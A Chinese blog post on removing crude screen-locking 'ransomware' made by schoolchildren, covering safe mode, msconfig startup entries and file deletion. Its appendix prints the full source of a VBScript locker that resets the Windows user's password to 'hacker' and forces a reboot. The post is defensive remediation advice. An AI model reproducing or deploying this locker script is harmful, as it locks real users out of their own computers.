小学生锁机病毒通用解法


By 团队成员
——曾哥
最近因为武汉疫情的爆发,使得各种各样的学生,都只能“苦苦的”呆在家里面,上着无聊的网课,其中有一类人,就叫小学生。
小学生老是喜欢做一些令人笑掉大牙的东西,却以此为荣到处装逼,这不,疫情才没多久,因为小学生制作的所谓“勒索病毒”而找上我的人越来越多。我:无奈到哭,他奶奶的,以后见到一个小学生锤一个!
今天,又有一个小老弟找上我,说是自己下了群文件的程序,打开中了小学生做的病毒,不知道怎么解决。
我就以此写一个通用的小学生锁机解决方法

看到这一张图,我马上反应过来,又是小学生惹的祸

看样子还很猖狂,还要付费?!我偏不给你机会,在这里我就不给这位小学生打马赛克了。
让那位小老弟给我送来了样本,我直接上手研究。
一看就是易语言写的,直接上手用OD查关机内存地址,但是我用OD搞了半天,结果发现这位小学生多套了一个第三方库,把原来的易语言代码重新加密了一遍。
那就直接从小学生锁机病毒自启动的方式的入手,搞定这“勒索病毒”。
第一步#进入安全模式
一般小学生制作的病毒都是通过一个模板修改QQ号和关键词改过来的,所以技术含量不高,表面上说“安全模式已经凉了”,莫慌,对着系统就是一波操作!
直接让那位小老弟尝试进入安全模式,哈哈,果然是小学生,安全模式凉个毛线?!不是照样打开?
第二步#检查开机启动项
因为大部分小学生的勒索病毒都含有开机启动,我们检查一下开机启动项
直接点左下角开始,打开其中的运行,输入下列语句
msconfig

然后,点击系统配置里面的“启动”项

果然找到一个可疑的启动项,直接将前面的勾取消掉,直接上手拉开命令看程序地址
因为是小学生做的,命令这里直接对应着源exe的存储地址
将前面开机启动的勾去掉后,点击确定,然后弹出窗口,选择“退出而不重启”

然后找到命令对应的目录,删除源exe病毒文件


找到小学生病毒的exe源文件,直接果断按“Shift键”+“Delete键”,进行彻底删除
删除完成之后,直接重启电脑,发现系统恢复正常了
吐槽一波:幸好是小学生通过模板制作的小学生病毒,要是高级点的病毒,可能就麻烦了

附#其他类型小学生锁机解决方法
还有一种更为智障的小学生锁机病毒,代码如下
Const strPassword = "hacker"
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
set gj=createobject("wscript.shell")
gj.run"shutdown -f -t"
Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next
文件名称都是“****.vbs”的
解密也很简单,直接用Windows自带的TXT打开这个文件(或者右键选择编辑),看到以下代码
Const strPassword = "hacker"
其中的hacker就是被锁了后的密码,直接登录Windows在控制面板改掉密码就行了
By 团队成员——曾哥
本博客所有文章如无特别注明均为原创。作者:幽冥狼族团队复制或转载请以超链接形式注明转自 幽冥狼族团队博客
原文地址《小学生锁机病毒通用解法
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)